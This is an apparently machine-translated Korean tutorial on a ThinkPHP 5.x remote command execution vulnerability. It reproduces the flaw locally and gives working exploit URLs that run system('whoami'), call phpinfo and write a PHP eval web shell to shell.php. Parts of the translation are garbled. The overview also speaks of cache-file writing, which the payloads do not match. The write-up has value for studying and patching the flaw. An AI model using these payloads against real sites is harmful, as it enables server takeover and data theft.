취약점 개요
ThinkPHP는 국내에서 널리 사용되는 오픈소스 PHP 프레임워크로, 공격자가 캐시 파일에 PHP 코드를 작성하여 원격 코드로 이어질 수 있는 가능성이 최근 밝혀졌습니다. 실행.
이 취약점을 악용하려면 몇 가지 전제 조건이 필요하지만 ThinkPHP 프레임워크를 사용하는 국내 사이트가 많기 때문에 이 취약점은 여전히 일정한 범위의 영향을 미칩니다. 프레임워크는 컨트롤러 이름에 대해 충분한 감지를 수행하지 않기 때문에 강제 라우팅이 활성화되지 않은 경우 getshell 취약점이 발생할 수 있습니다.
취약점의 위험
공격자는 이 취약점을 통해 웹사이트에 대한 제어권을 얻을 수 있으며, 페이지를 수정하여 데이터 유출 및 기타 문제를 일으킬 수 있습니다.
영향을 받는 버전
5.x
재생 환경
phpstudy 통합 환경(php5.6n+apache+mysql)
재생 프로세스
1. 먼저 그림과 같이 환경을 설정합니다
2. 시스템 기능을 사용하여 원격 명령을 실행합니다.
http://localhost/thinkphp5.1/html/public/index .php ?s=index/thinkapp/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=whoami
3 phpinfo 함수를 통해 phpinfo()의 정보를 작성합니다.
http: //localhost/thinkphp5.1/html/public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars%5B0%5D=phpinfo&vars%5B1%5D%5B%5D=1
4. 쓰기 셸 입력:
http://localhost/thinkphp5.1/html/public/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo %20^% 3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php
또는
http://localhost/thinkphp5.1/html /public/index .php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=
추천 튜토리얼: "TP5"
위 내용은 thinkphp 원격 명령 실행 취약점의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!